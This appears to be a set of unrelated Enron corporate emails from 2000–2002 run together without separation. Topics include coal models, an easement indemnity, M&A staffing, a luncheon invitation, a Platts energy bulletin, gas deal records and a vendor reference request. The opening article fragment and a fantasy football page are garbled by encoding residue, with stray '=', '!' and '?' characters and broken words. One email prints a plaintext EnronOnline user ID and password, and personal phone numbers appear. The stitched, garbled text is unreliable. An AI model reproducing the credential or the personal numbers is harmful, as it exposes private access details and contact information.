the energy, pipelines and ?gas and electric utilities categories topped the=
 5% mark. Southern and Edison ?International recorded profits as a percenta=
ge of revenues figure of 6%.??Keenan suggests that as companies continue to=
 move, within the context of ?deregulation, toward merchant trading, revenu=
es will continue on the present ?path, while margins will remain low. ??Exx=
on Mobil blows away competition?And which firm took top honors in the Fortu=
ne 500 list? For the first time ?since 1984, General Motors Corp. fell from=
 the top spot=01*blown out, actually=01*?by two firms, No 2, Wal-Mart Store=
s Inc. and No. 1, oil giant Exxon Mobil. ??GM owned the top spot from the i=
nception of the Fortune list in 1954 until ?1975, when skyrocketing oil pri=
ces allowed then-Exxon Corp. to become No. 1. ??Last year, Exxon Mobil's re=
venues totaled $210.4 billion, $17.1 billion more ?than Wal-Mart, and $25.8=
 billion more than GM. ?

Rebecca:
I was just talking to Fred Mitro and he says you have put together a couple 
of different models on coal.  Can you please send me those models, so I can 
get an idea on how you guys are looking at the analysis.  Thanks!
Regards,
Ben

hitting the send button at most once a day would be a start.  

From: 	Jai Hawker <JHawker@petersco.com>@ENRON  
Sent:	Wednesday, January 30, 2002 3:22 PM
To:	Richey, Cooper

Dude, this is not by design.  I told you, I'm losing all my cool.

From: Cooper.Richey@enron.com [mailto:Cooper.Richey@enron.com]
Sent: Wednesday, January 30, 2002 3:20 PM
To: JHawker@petersco.com

do you remember tom cruise in vanilla?  how he was a "satisfaction
delayer"?  you are the fucking polar opposite.  you've been waiting 2
years, don't you want to kick back and enjoy the ride in?

   From:   Jai Hawker <JHawker@petersco.com>@ENRON
   Sent:   Wednesday, January 30, 2002 3:17 PM
   To:     Richey, Cooper
   Subject:  FW:

   This is what I sent today.
   From:   Jai Hawker
   Sent:   Wednesday, January 30, 2002 2:19 PM
   To:     'Staveley, Catheryn D'
   Subject:
   How did the workout go for you today?  Mine wasn't so good.  Lot's of
   distractions, people on the equipment I wanted to use.  You know how it
   goes.  I was thinking about the Eau Claire classification, and I think
   where you live counts as Eau Claire.  I don't know what else it would
   be.  So you like your place, do you.  Why don't you tell me about it.
   If you're too busy, don't worry about it.  No boss for me means I have
   plenty of time to bother people with emails.
   Jai Hawker
   Peters & Co. Limited
   (403) 261-2259

Thank you.

Stephanie:  Please send the boilerplate ISDA Master Agreement and Credit 
Support Annex to Gregg Penman in our Chicago office.  Thanks.  Sara

Osman,

Thanks.

Vince

Osman Sezgen@EES
04/26/2001 03:27 PM
To: William Smith/Corp/Enron@Enron, Vince J Kaminski/HOU/ECT@ECT
cc: Praveen Mellacheruvu/HOU/EES@EES, Pinnamaneni Krishnarao/HOU/ECT@ECT 
Subject: Newsletter article

Vince,

Here is an article that Sam intends to publish this coming Monday.  Please 
have a look at it and give us (Sam or me)  feedback.

Thanks,
Osman

hey dave - we are on for noon tomorrow.  i will try to make it out to your house tomorrow. i have to go pick up the clubs at the parents house.  so give me directions.  by the way, my dad offered to buy us all lunch at sugar creek so, lets try to meet up a little early.

-eric

From: David Baumbach [mailto:dbaumbach23@hotmail.com]
Sent: Sunday, November 18, 2001 7:16 PM
To: Bass, Eric
Subject: 

Hey!  Hope you had a good weekend.  I played some golf to get ready for you 
and Bryan.  Amy and I are putting up the tree right now and listening to 
some Christmas music (Neil Diamond rocks).  If you are out in Sugar Land, 
you should stop by Monday night or Tuesday before we play golf.  I don't 
think you've ever seen the house.  It's a good thing Christmas is here.  A 
time of hope.  Something we probably all need around Enron.  Our home number 
is 281-343-8233.  You could even check out the available homes around us.  

Dave

found it.  Mark

	Stuart Zisman
	02/23/2001 04:17 PM
		 
		 cc: Don Miller/HOU/ECT@ECT
		 Subject: Request for permission

Mark,

I am currently negotiating an Option to Obtain an Easement in connection with 
our peaking power plant in Caledonia, Mississippi.  As you know, the 
Caledonia facility is currently scheduled to be sold to Cinergy Capital & 
Trading, Inc.  The anticipated closing date is March 27, 2001 (but this is 
subject to change depending on when we obtain the requisite regulatory 
approval).

One of the things that ENA was seeking to do, prior to deciding to sell the 
plant, was to establish a second interconnection to the Southern Company 
(currently Caledonia is interconnected to TVA).  In pursuit of this second 
interconnection, certain ENA developers were charged with the responsibility 
for obtaining options for easements.  The easements were needed in order to 
run the transmission wires from the plant to the point of the interconnection 
with Southern.  To date, we have obtained all but one of the required options 
(the "Galiano Option").

We are obligated to cooperate with Cinergy from now until the closing date in 
pursuit of the Galiano Option.  Ms. Galiano and her lawyer have insisted upon 
adding an indemnity in the form of easement which requires the grantee 
(Caledonia Power I, LLC) to indemnify the grantor against liabilities arising 
from grantee's use of the easement.  They have adamantly rejected, however, 
my request that the indemnification be limited to actual damages (and that 
special, consequential and punitive damages be waived).  

Cinergy has asked us to execute the Galiano Option without the waiver of 
consequential damages and I am seeking your permission to do so.

I think that this should be acceptable from ENA's perspective for several 
reasons:

1)  It is likely (99%+) that we sell Caledonia Power I, LLC (the proposed 
counterparty to the Galiano Option) in the next several weeks;
2)  The Galiano Option is structured as an option to obtain an easement and 
the waiver of consequential damages issue only arises if the option is 
actually exercised; and 
3)  If for some odd reason the sale doesn't go through, we finally decide to 
complete the second interconnection and we exercise the option for easement, 
we can probably mitigate our risk by procuring additional insurance.

Please let me know, at your earliest possible convenience, if I may proceed 
with the execution of the Galiano Option.  Many thanks.

Stuart

Please contact Stacy Richardson @ 30569 in Contract Administration re this 
agreement.

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I agree we need to build knowledge, communications and proces here. Can you 
take lead and work with Tim O, Sheil K, Mich C, Cynthia B and Mary J?

David

Kathy Neal@ENRON
11/28/2000 08:11 PM
cc:  
Subject: Re: M&A - Post-Acquisition Culture Management  

David, I haven't had a chance to read the documents that Marlow provided, but 
I did want to respond to your message below. 

Currently, the deal makers are not aware of who to contact within HR when 
they are working on deals.  An example is today I received a call from 
Findley Biggerstaff explaining that he is working on a pulp mill deal in 
British Columbia.  This is a unionized facility with approximately 400 
employees.  Given that this is a unionized facility, we need to have time to 
review contracts and identify any and all risk of acquiring such a facility.  

The aggressive timeline for this deal is December 15, 2000 and they are 
actually working on the 2nd round bidding process.  So with that, my first 
thought is that we need to get our names out there to be pulled in on the 
front end.

We actually have a couple of different boiler plate templates that I work 
with when participating on any due diligence team.   I work close with 
Michelle Cash (legal matters), Dee Lenfest (domestic benefit matters), Rich 
Johnson (labor relations) and Tim Callahan (international benefits).

The majority of the acquisitions will be merchant assets in which we will not 
integrate into Enron businesses, but we need time to determine how benefits, 
payroll and other issues will be handled.    

To build our capabilities is to be included on the front end so that we can 
prepare our risk analysis and provide professional input on these 
acquisitions.

K Neal

11/26/2000 02:29 PM
To: Marlow Anderson/Corp/Enron@ENRON
cc: Tim O'Rourke/Corp/Enron@Enron, Kathy Neal/NA/Enron@ENRON, Fran L 
Mayes/HOU/ECT@ECT, Cindy Skinner/HOU/ECT@ECT 

Marlow,

This makes interesting reading. Kathy, I would be particularly interested in 
your views of what we need to do to build our capabilities around 
acquisitions in particular given the likely heavy activity in your area over 
the next 12 months. Seems to me we have an excellent window of opportunity to 
build some support before we get inundated.

Tim/Cindy, will you look at this also and give me your thoughts.

David

	From:  Marlow Anderson @ ENRON                           11/07/2000 10:02 AM
	
cc:  
Subject: M&A - Post-Acquisition Culture Management

David,

One of the white boards requests information on successful M&A integration.  
I wrote a research paper on the subject in grad school that I thought I'd 
share with you (if you have time to read it).  It highlights the following:
M&A statistics, 
Post-Acquisition Culture Strategies, 
Tools for Successful Post-Acquisition Management (beginning on page 4) 

In addition, I've attached another research paper I wrote specifically on 
Change Management that might be applicable.

Marlow

Mr. Cates, sir, would you please approve of the attached expense report?  You 
are a kind and generous man.

One thing I learned from my experience in Vietnam is that  terrorists hope by their actions to strike fear into our hearts and disrupt  the everyday functions of our society.  Thus a few cowards can succeed  in humbling and disrupting millions.  I refuse to give in to  these cowards and pray for everyone that has been affected by these  senseless actions.  Thus the West Point luncheon cheduled for this Friday,  Sept 14th at 11:30 a.m. is still on and I look forward to seeing you  there!  All the best,  Jon E. King '65 President WPSGH   http://www.wpsgh.org 
[IMAGE]
The West Point Society of Greater Houston Cordially Invites You to Join Us  at Our Monthly Luncheon 
this FRIDAY, SEPTEMBER 14, 2001 @  Noon
 
Please mark your calendars and RSVP Now to Ms. Marsha  Winkler at 713 942-7775 and or Jon King at 713 981-9595 and plan to join  us for our first fall luncheon on FRIDAY, September 14, 2001 at Noon at  Brennan's Restaurant, conveniently located on the edge of downtown Houston at  3300 Smith Street. 
This month's program will feature a very timely talk by a  fascinating speaker, Professor Michael Economides, whose topic is, The First  Energy Crisis of the Twenty First Century. 
By way of brief background, our speaker is the Author of a new  book titled The Color of Oil - The History, Money and Politics of the World's  Biggest Business. He is Professor of Chemical Engineering at the University  of Houston and a technical advisor to national oil  companies. Professor Economides has co-authored 7 textbooks and more than 150  journal papers and articles. He recently co-authored a paper titled: "U.S.  National Energy Policy and the Role of Ultra-Deepwater". We hope that you will  join us as this promises to be a very enlightening presentation by a very  popular speaker on a topic that is critically important to both our local and  national economies.
 
The cost for our Brennan's three course meal is $25.00 per  person (which includes tax, & gratuity). 
We look forward to seeing you  next Friday, September 14, 2001.
 
 - armymule.jpg 

layer News  Corey Bradford , WR GB - Free Agent Updated 10/21/01 Bradford s=
tarted in place of the injured Bill Schroeder but was ineffective at Minnes=
ota, catching four passes for only 32 yards. Bradford has yet to prove hims=
elf as a Fantasy player.  Bubba Franks , TE GB - Who's Yo Daddy Updated 10/=
21/01 Franks caught only two passes for nine yards, but one of his receptio=
ns was good for a two-yard TD. Franks has caught TD passes in five of six g=
ames this year and has become a major s! co! ring threat even though he is =
not very effective outside of the red zone.  Derrick Alexander , WR KC - Wh=
o's Yo Daddy Updated 10/21/01 Alexander finally had a big game, posting 99 =
yards receiving and a touchdown against Arizona. He's been unreliable for t=
he most part, however, but his potential to post numbers this good makes it=
 tough to bench him.   Trent Green , QB KC - Meximullets Updated 10/21/01 G=
reen threw for 352 yards and a score in Sunday's 24-16 loss to Arizona. Gre=
en has been inconsistent this season, however, and no longer warrants a sta=
rting nod every week.   Doug Chapman  , RB MIN - Meximullets Updated 10/21/=
01 Chapman rushed for 90 yards on 22 carries against the Packers. His numbe=
rs were not great, but he was more effective than Michael Bennett has been =
so far. Chapman may continue to see a good amount of carries if Bennett can=
not stay healthy or continues to struggle.  David Boston , WR ARI - The Fat=
 Bastards Updated 10/21/01 Boston had a big game against Kansas City, posti=
ng seven receptions for 131 yards and a score. He's emerging as one of the =
best receivers in the league and is worth starting on a weekly basis.   Mic=
hael Pittman , RB ARI - Meximullets Updated 10/21/01 Pittman had a great ou=
ting on Sunday against Kansas City, posting 137 yards of total offense and =
a touchdown. Pittman won't post numbers this good with any regularity, but =
he's still a valuable player to have on your roster.   Jeff Graham , WR SD =
- oops, I did it again Updated 10/21/01 Graham came up huge for San Diego o=
n Sunday, catching seven passes for 107 yards and two scores against Denver=
. He's still not reliable enough to start on a regular basis, but he's cert=
ainly worth a roster spot.   LaDainian Tomlinson , RB SD - The Executioners=
 Updated! 1! 0/21/01 Tomlinson was held in check for the first time this se=
ason by Denver on Sunday. The rookie tailback rushed for only 58 yards on t=
he day, but he's still one of the top Fantasy players in the league.   Desm=
ond Clark , TE DEN - Free Agent Updated 10/21/01 Clark had a big game on Su=
nday, catching six passes for 54 yards and a score against San Diego. He's =
been reliable as far as tight ends go from a Fantasy perspective, so contin=
ue to start him on a weekly basis.   Brian Griese , QB DEN - The Nice Machi=
ne Updated 10/21/01 Griese (shoulder) st! ar! ted Sunday's game against San=
 Diego, but he was ineffective. He posted 212 yards passing, a touchdown an=
d two interceptions in Denver's 27-10 loss.   Peter Warrick , WR CIN - The =
Executioners Updated 10/21/01 Warrick caught eight passes for 84 yards agai=
nst Chicago. But the potentially explosive wideout is hurting his owners, b=
ecause he does not find the end zone often.   Corey Dillon , RB CIN - Who's=
 Yo Daddy Updated 10/21/01 The Bears held Dillon to just 30 yards on 16 car=
ries. Expect the veteran runner to bounce back from such a quiet performanc=
e very quickly.  David Terrell , WR CHI - One Man Show Updated 10/21/01 Ter=
rell caught seven passes for 91 yards against Cincinnati. With Marcus Robin=
son injured, Terrell should assume a more prominent role in the Chicago pas=
sing game.  Anthony Thomas , RB CHI - North Blvd Nutwhackers Updated 10/21/=
01 Thomas rushed for 188 yards and a TD against Cincinnati, clearly establi=
shing himself as Chicago's top RB. Expect him to be the Bears' featured bac=
k for the rest of the year.  Frank Wycheck , TE TEN - North Blvd Nutwhacker=
s Updated 10/21/01 Wycheck caught seven passes fo! r ! 100 yards and a TD a=
t Detroit. Despite some quiet outings until this week, he remains a top-not=
ch Fantasy TE, especially with the Titans lacking in talent at wide receive=
r.   Charlie Batch , QB DET - The Guzzlers Updated 10/21/01 Batch threw for=
 338 yards, three TDs and was intercepted once in a loss to Tennessee. Batc=
h has stacked up good numbers in two consecutive weeks, but he remains a Fa=
ntasy risk because of his history of inconsistency.  Steve McNair , QB TEN =
- North Blvd Nutwhackers Updated 10/21/01 McNair threw for 216 yards, a TD =
and was intercepted twice at Detroit. He completed only 15 of 35 attempts, =
and many of his throws were inaccurate, possibly indicating he still might =
be bothered by shoulder problem! s.!   Eddie George , RB TEN - Thrill Kill =
Cult Updated 10/21/01 George was held to 51 yards on 26 carries by Detroit.=
 The lack of a reliable passing game in Tennessee has certainly hindered hi=
s production this year.   Shawn Jefferson , WR ATL - Free Agent Updated 10/=
21/01 Jefferson caught three passes for 67 yards and a TD against the Saint=
s. The speedy wideout has a long history of inconsistency, so don't expect =
good numbers from him every week.  Alge Crumpler , TE ATL - Free Agent Upda=
ted 10/21/01 Crumpler caught five passes for 78 yards and a TD against New =
Orleans. Expect good totals from the big, quick tight end for the remainder=
 of the year.  Albert Connell , WR NO - The Executioners Updated 10/21/01 C=
onnell caught only one pass for five yards against Atlanta. It is definitel=
y time to give up on the disappointing wideout.  Willie Jackson , WR NO - T=
he Fat Bastards Updated 10/21/01 Jackson finished with only 46 receiving ya=
rds on five catches against the Falcons. Mediocre numbers against t! he! lo=
w-quality Atlanta defense indicate Jackson is not capable of providing owne=
rs with regularly good numbers.   Hines Ward , WR PIT - Thrill Kill Cult Up=
dated 10/21/01 Ward was limited to 44 yards on three catches by Tampa Bay. =
Ward is still making important receptions for the Steelers, but his Fantasy=
 appeal is limited because of Pittsburgh's inability to consistently score =
in the air.  Warrick Dunn , RB TB - One Man Show Updated 10/21/01 Dunn play=
ed despite a foot injury that had bothered him during the week, but he was =
limited to 31 yards on 13 carries by a physical Pittsburgh defense.  Anthon=
y Becht  , TE NYJ - The Nice Machine Updated 10/21/01 Becht had a huge game=
 against St. Louis, posting five catches for 35 yards and two scores. He's =
been inconsistent this season, however, but his potential to post good numb=
ers makes him worth starting at a position lacking quality players.   Keysh=
awn Johnson , WR TB - The Lie Downs Updated 10/21/01 Johnson caught 10 pass=
es for 159 yards against Pittsburgh. He has developed a good on-field relat=
ionship with QB Brad Johnson. The veteran wideout should continue to post h=
igh-quality numbers on a regular basis.  ! Jerome Bettis , RB PIT - Who's Y=
o Daddy Updated 10/21/01 Bettis rushed for 143 yards and a TD on 17 carries=
 against Tampa Bay. He also threw a 32-yard TD pass. His fine outing proves=
 Bettis can compile good numbers against any defense.  Trung Canidate , RB =
STL - The Executioners Updated 10/21/01 Canidate had a huge game against th=
e New York Jets, posting 232 yards of total offense and two scores. His rol=
e as the Rams' featured back may be short-lived, however, depending on the =
health of stud back Marshall Faulk.   Rod Gardner , WR WAS - The Nice Machi=
ne Updated 10/21/01 Gardner had a huge game on Sunday, posting six catches =
for 208 yards and a score against Carolina. He seems to have overtaken Mich=
ael Westbrook as the No. 1 receiving target in Washington, and is worth a r=
oster spot from a Fantasy perspective.   More Updates  View Transactions  [=
IMAGE]View  [IMAGE]      [IMAGE] Make Selection   [IMAGE]       [IMAGE] The=
re are no League Transactions which meet the selected criteria.  To see all=
 league transactions select "All", "All", "All Teams" from the Transactions=
, View page.      Breakdown Schedule  [IMAGE]Breakdown  [IMAGE]  [IMAGE]  C=
opyright 2001 Commissioner.COM Inc and SportsLine.com Inc. Your site can be=
 reached from http://fantasy.sportsline.com   FB10SP  =09

Brent & Peggy,

Memo complete with exception of last paragraph write-up of your promotions.  
Sally made a beginning stab at it, but would like you to read over your 
segment and make any corrections or additions that you see fit (Peggy, in 
your case, can you fill in the blank).  When these are received back from 
you, I will call her (if it's this afternoon), and final copy will be 
distributed.  Thanks for your help.

Patti
x39106

I do not have Access on my system.

D

Adrial Boals@ENRON
09/01/2000 12:16 PM
To: Brenda F Herod/HOU/ECT@ECT, Diane H Cook/HOU/ECT@ECT, Robert 
Superty/HOU/ECT@ECT, Edward Terry/HOU/ECT@ECT, Katherine L Kelly/HOU/ECT@ECT, 
George Smith/HOU/ECT@ECT, Randall L Gay/HOU/ECT@ECT, Mary M 
Smith/HOU/ECT@ECT, Carolyn Gilley/HOU/ECT@ECT, Connie Sutton/HOU/ECT@ECT, 
Kathryn Cordes/HOU/ECT@ECT, Jefferson D Sorenson/HOU/ECT@ECT, Michael E 
Moscoso/HOU/ECT@ECT, William Kelly/HOU/ECT@ECT, Bob Klein/HOU/ECT@ECT, Rita 
Wynne/HOU/ECT@ECT, Kristin Albrecht/HOU/ECT@ECT, Leslie Reeves/HOU/ECT@ECT, 
Donna Greif/HOU/ECT@ECT, John Jacobsen/HOU/ECT@ECT, Mary G 
Gosnell/HOU/ECT@ECT, Carrie Hollomon/HOU/ECT@ect, D Todd Hall/HOU/ECT@ECT, 
Brent A Price/HOU/ECT@ECT, Bryce Baxter/HOU/ECT@ECT, Bill D Hare/HOU/ECT@ect, 
Cheryl D King/HOU/ECT@ECT, Judy Barnes/HOU/ECT@ECT, Jeffrey C 
Gossett/HOU/ECT@ECT, Mary Solmonson/HOU/ECT@ECT, Michael Eiben/HOU/ECT@ECT, 
Pat Clynes/Corp/Enron@ENRON, Daren J Farmer/HOU/ECT@ECT, Lisa 
Csikos/HOU/ECT@ECT, Irene Flynn/HOU/ECT@ECT, Juanita Marchand/HOU/ECT@ECT, 
Dale Neuner/HOU/ECT@ECT, Sheri Thomas/HOU/ECT@ECT, Kim S Theriot/HOU/ECT@ECT, 
David Oliver/HOU/ECT@ECT, Eugenio Perez/HOU/ECT@ECT, David 
Baumbach/HOU/ECT@ECT, Thresa A Allen/HOU/ECT@ECT, Roy Lipsett/HOU/ECT@ECT, 
Susan Harrison/HOU/ECT@ECT, Dan Houston/Corp/Enron@Enron, Steve 
Jackson/HOU/ECT@ECT, Dorothy Ricketts/HOU/ECT@ECT, Avril 
Forster/Corp/Enron@ENRON, Yvette G Connevey/Corp/Enron@ENRON
cc: Heather Choate/HOU/ECT@ECT, Alex Saldana/HOU/ECT@ECT, Sandra R 
McNichols/HOU/ECT@ECT, Maria Sandoval/HOU/ECT@ECT, Marvia 
Jefferson/HOU/ECT@ECT, Chantelle Villanueva/HOU/ECT@ECT, Mary 
Comello/Corp/Enron@Enron, Yolanda Ford/HOU/ECT@ECT, Kim 
Weldon/Corp/Enron@Enron, Cecilia Olvera/HOU/ECT@ECT, Brenda 
Flores-Cuellar/NA/Enron@Enron, Kim Ladish/Corp/Enron@Enron, Betty J 
Coneway/HOU/ECT@ECT 
Subject: Software "Access"

Please RSVP to me and let me know if you have "Access" set-up on your system.

Thank you,

X58849

Gerald:

That was Dean Henry, not David Henry.  I'll forward it on to the right person.

Lori
---------- Original Text ----------

From: "Gerald Nemec" <Gerald.Nemec@enron.com>, on 6/22/00 3:36 PM:

Attached are the latest revised redlined documents for Lost Creek.   Please
note
the following:

1.  The changes include those that Chris and I discussed in Denver.  The
Capacity Allocation Agreement is redlined against the version BR had reviewed
earlier.  All other docs. are redlined against the originals.

2.  Due to the Credit Agreement structure, portions of the Natural Gas Fuel
Liquidation concept were placed into the Administrative Services Agreement.
This was done in order to allow that portion of the Natural Gas Fuel value
which
covers the Power Bill to be included in the Debt Service Coverage Ratio calcs
in
the Credit Agreement.  The remainder of the Natural Gas Fuel will be
distributed
under the Capacity Allocation Agreement to avoid the inclusive of these excess
amounts in any distribution tests under the Credit Agreement.

3.  Since more significant changes were made to the Admin. Services Agreement,
it is now being amended and restated.

Dean,  have you resolved the accounting questions you raised this past Monday?

(See attached file: Amended and Restated Admin(RED).doc)(See attached file:
AMENDED AND RESTATED CAPALLEXP AGREEMENT4RED.DOC)(See attached file: Amended
and
Restated LLC Agreement1(RED).doc)

Platts Energy Bulletin

Welcome to Platts Energy Bulletin, a showcase of the top headlines posted on
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Jan 30, 2002

What's New on platts.com?
Platts Enron Report: Read about the implications of Enron's bankruptcy on the
financial and energy communities.
(http://www.platts.com/features/enron/index.shtml)

S&P - US Commodity Pricing: Standard & Poor's pricing assumptions for assigning
oil and gas ratings remained unchanged at $19/bbl for West Texas Intermediate
crude oil and $2.25 per million BTU (mmBTU) for NYMEX natural gas.
(http://www.platts.com/risk_management/sandp/analysis.shtml)

Futures Round-up
NYMEX: Crude to open lower on bearish stock builds
NYMEX March crude oil is called to open 28 cts lower at $19.30/bbl. February
unleaded gasoline is called to open 1.04 cts lower at 55.65 cts/gal and February
heating oil is called to open 55 pts lower at 51.50 cts/gal.

IPE Brent Focus: IPE Brent crude falls on the back of bearish APIs
Front-month March Brent stood 3 cts shy of the $19/bbl mark at $19.03/bbl at
1034 GMT, 21 cts lower than Tuesday's settlement.

News Round-up
Click on the headlines below or paste the URLs provided in your internet browser
to see the full story.

ADVERTISEMENT:
Grid Business: The Midwest Region: An Electrical World Roundtable in cooperation
with R. J. Rudden Associates and the United States Energy Association.
March 21-22, 2002 St. Louis, Missouri
(http://www.platts.com/gridbusiness/index.html)

ENERGY INSIGHT :
MISO, PJM mirror images?on the surface
The proposed deal between Midwest Independent Transmission System Operator Inc
and PJM Interconnection LLC, creating an electron-directing behemoth consuming
half the US and a portion of Canada, should pose no major problems when market
design is discussed. (http://www.einsight.com)

OIL:
Russia mulls strategic oil reserve to mop up surplus
The Russian government is considering building a strategic oil reserve to help
reduce a surplus of crude and products that has accumulated on the domestic
market since exports were cut Jan 1, deputy prime minister Viktor Khristenko
said Wednesday. (http://www.platts.com/archives.shtml#58357)

NATURAL GAS:
Gaz de France tariff drop depends on oil prices to May
Gaz de France's plan to lower domestic tariffs for residential users in May
still depends on oil price moves until then, a GdF spokeswoman said Wednesday.
(http://www.platts.com/archives.shtml#58363)

PETROCHEMICALS:
Taiwan DuPont awaits Chinese approval for 600kt PTA unit
Taiwan's DuPont Far Eastern Petrochemical is waiting for an approval license
from the Chinese government to build a purified terephthalic acid plant in
China, a source close to DuPont said Wednesday.
(http://www.platts.com/archives.shtml#58342)

Platts Global Energy Jobs Board and Resume Bank: Created in partnership with the
Energy Jobs Network, the Jobs Board gives you access to a pool of job seekers
and open positions across the energy industry. It's free for all job seekers,
and there is a range of packages for employers posting jobs.
(http://www.energyjobsnetwork.com/home.asp?code=platts)

ELECTRIC POWER:
Senators raise concerns of possible market abuse by Enron
US senators from the Northwest and California raised concerns Tuesday that Enron
might have inflated forward electricity prices in the West, and questioned the
validity of long-term power contracts signed last year in the region.
(http://www.platts.com/archives.shtml#58309)

NUCLEAR:
Bush issues stern warning to Iraq, Iran on weapons
US President George W Bush Tuesday issued a stern warning to Iraq, Iran and
North Korea against developing weapons of mass destruction, and said the US
would not tolerate threats. (http://www.platts.com/archives.shtml#58336)

COAL:
US LTV Steel to sell Warren, Ohio coke plant
Bankrupt LTV Steel Co has agreed to sell its Warren, Ohio, coke plant to Warren
Coke Corp, an affiliate of Tonawanda Coke Corp of Tonawanda, New York. Terms of
the sale were not disclosed. (http://www.platts.com/archives.shtml#58321)

RISK MANAGEMENT:
CFTC chairman: Enron debacle deserves recommendations
The chairman of the US Commodity Futures Trading Commission told a key
congressional panel on Tuesday that the Enron collapse deserves "study and
recommendations." (http://www.platts.com/archives.shtml#58308)

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 - 013002.html 

Can you set up a GTC with Duke Energy Field Services,Inc.  for May -July 2000?

D

Hillary Mack@ENRON
06/29/2000 12:23 PM
cc:  
Subject: Re: Republic Royalty 5/00  

Daren...I talked to Cynthia in contracts and she said that CES deals cannot 
be extended and that a new contract has to be set up.  How do you want to 
handle it?

06/28/2000 04:17 PM
To: Ami Chokshi/Corp/Enron@ENRON, Megan Parker/Corp/Enron@ENRON, O'Neal D 
Winfree/HOU/ECT@ECT, Nelson Ferries/Corp/Enron@ENRON, Hillary 
Mack/Corp/Enron@Enron
cc:  

I have rolled # 143559 through July 2000 to cover the purchase from 
Republic.  We sell this gas to Duke Energy Field Services (#143558 for Jan - 
Apr,  CES-Duke Energy Field Services, Inc ).  The counterparty on this deal 
has been suspeneded, so I created # 316727 under the counterparty of Duke 
Energy Field Services Marketing, LLC.

Hillary - Please extend the CES-Duke counterparty or attach the correct Duke 
counterparty to this deal.

D

	From:  Ami Chokshi @ ENRON                           06/28/2000 10:45 AM
	
To: Megan Parker/Corp/Enron@ENRON, O'Neal D Winfree/HOU/ECT@ECT
cc: Nelson Ferries/Corp/Enron@ENRON, Daren J Farmer/HOU/ECT@ECT 
Subject: Republic Royalty 5/00

This deal was terminated by Nelson Ferries.

Ami
---------------------- Forwarded by Ami Chokshi/Corp/Enron on 06/28/2000 
   
	From:  Megan Parker                           06/28/2000 10:28 AM
	
To: Ami Chokshi/Corp/Enron@ENRON, O'Neal D Winfree/HOU/ECT@ECT
cc:  

Republic Royalty is one of my CES deals.  They sent me an invoice for May 
2000 production, but I do not see a deal for May.  Does either of you know if 
this deal was extended under a new deal number?

Megan

Attached for your review is the letter agreement which locks in the Gas 
Conversion Agreement pricing. 

FYI.  

From: 	Nicolay, Christi L.  
Sent:	Monday, October 22, 2001 2:18 PM
To:	Keene, Patrick; Ryall, Jean; Twiggs, Thane; Ogenyi, Gloria
Cc:	Steffes, James D.
Subject:	Entergy -- opening

Pat -- Can you please let Heather Kroll, Reagan Rorschach and Rudy Acevedo in EPMI know when we can expect a decision from the TX PUC on whether Entergy goes retail open access 1/1/02?

Also, Texas team, please keep the EPMI SE team informed of the Texas outside of ERCOT information and progress.  The best way is to send an email to Claudette Harvey and ask that she forward it to her group.  Thanks much.

Donna,

Thanks.

Vince

From: Donna Greif on 02/14/2000 03:31 PM
cc:  
Subject: Internal Guest Access to EnronOnline

Vince,

Following is an internal guest ID and password which will allow you view only 
access to EnronOnline.  
Please note, the user ID and password are CASE SENSITIVE.  

User ID: EOL59545
Password: WELCOME!

If you have any difficulties logging in, please contact the EnronOnline 
HelpDesk at 713-853-HELP (4357)
with any questions.

I think you'll find there isn't that much to a site sale.  Witness 
Plano/Pontiac as compared to the Peakers.

	From:  Kathleen Carnahan                           03/08/2001 02:42 PM
	
To: Kay Mann/Corp/Enron@Enron, Carlos Sole/NA/Enron@Enron
cc:  

Subject: Re: Midway

And this mean's ole Kathleen is going to be busting her ass!

K-
---------------------- Forwarded by Kathleen Carnahan/NA/Enron on 03/08/2001 
02:41 PM ---------------------------
From: Ann Elizabeth White@ECT on 03/08/2001 02:30 PM
To: Kathleen Carnahan/NA/Enron@ENRON
cc:  

Subject: Re: Midway  

Help me out here - what does he mean by "go live"?  

	Kathleen Carnahan@ENRON
	03/08/2001 02:05 PM
		 
		 To: Ann Elizabeth White/HOU/ECT@ECT
		 cc: 
		 Subject: Midway

Hot off the press.

Kathleen
02:05 PM ---------------------------
   
	From:  Ben F Jacoby @ ECT                           03/08/2001 01:55 PM
	
To: Greg Krause/Corp/Enron@Enron, Raimund Grube/Corp/Enron@ENRON, Kathleen 
Carnahan/NA/Enron@Enron, Fred Mitro/HOU/ECT@ECT
cc:  

Subject: Midway

Folks:

Please note in my e-mail below that we need to go live with this by April 2. 
This means that we all need to work together to make this happen. I would 
like to see a comprehensive index of all documents we intend to include ASAP. 
This list should include site plans and other drawings that we've spent a lot 
of money on. 

I look forward to reviewing this list.

Regards,

Ben
---------------------- Forwarded by Ben Jacoby/HOU/ECT on 03/08/2001 01:43 PM 
   
	From:  Ben F Jacoby                           03/08/2001 01:42 PM
	
To: Suresh Raghavan/Enron@EnronXGate
cc: Fred Mitro/HOU/ECT@ECT, Kathleen Carnahan/NA/Enron@Enron 

Suresh:

This e-mail is to confirm that we will use DealBench for the marketing of our 
Midway, FL site. Kathleen Carnahan and Fred Mitro will be the individuals on 
my team responsible for coordinating the effort of collecting and organizing 
documents to be placed on line. We need to go live with this by Monday, April 
2. We would appreciate your help in making this happen.

Our cost center number for the $10,000 charge is 107319. Please let me know 

Thanks,

Ben

Debi,

Your response should go as follows.  I suggest doing it in writing, rather 
than an email that could be manipulated.  If you have theri fax number, that 
probably would be best.  Also, I suggest that we ask CS not to identify us as 
a reference or to use our name in any type of advertising or publicity 
materials.  We prefer to keep our vendor list private.

Dear Ms. Poss,

 Thank you for your written  request for a reference on Contracting 
Solutions.  It is not our practice to provide references for contracting 
agencies.  I would suggest that you contact another company that does 
business with Contracting Solutions to obtain the information you seek.  I am 
sure that Contracting Solutions can provide you with alternatives.

 By the way, I spoke with Jennifer Cronin, who had referred your call to me.  
She indicated that you had identified Contracting Solutions as the subject 
matter of your request.  

 Sincerely yours, Debi Vanwey

Debi Vanwey
08/07/2000 01:24 PM
cc:  
Subject: Reference

Michelle, should I respond?
---------------------- Forwarded by Debi Vanwey/HOU/ECT on 08/07/2000 01:23 

"Priscilla Poss" <priscilla.poss@rextrucking.net> on 08/04/2000 05:40:45 AM
To: <dvanwey@enron.com>
cc:  

Debbi,

First off, I am wondering how you knew the company name I was calling on.  I
never gave that other girl the name of the company.

Any how, I am wanting information on Contracting Solutions, Inc.  They
listed your company as a reference, and I have been trying to chase this
down for about two months now.  I have been able to contact the other two
references they had given, but the one with your company has been a bear to
run down.

They stated that they have worked with your company on a permanent
placement.  Is this correct?

How was their performance? (did they respond timely with qualified
candidates? With legitimate resumes of real people or were the people no
longer available when you wanted to interview them?, etc.)

Can you tell me if there have been any problems with this company? (if yes,
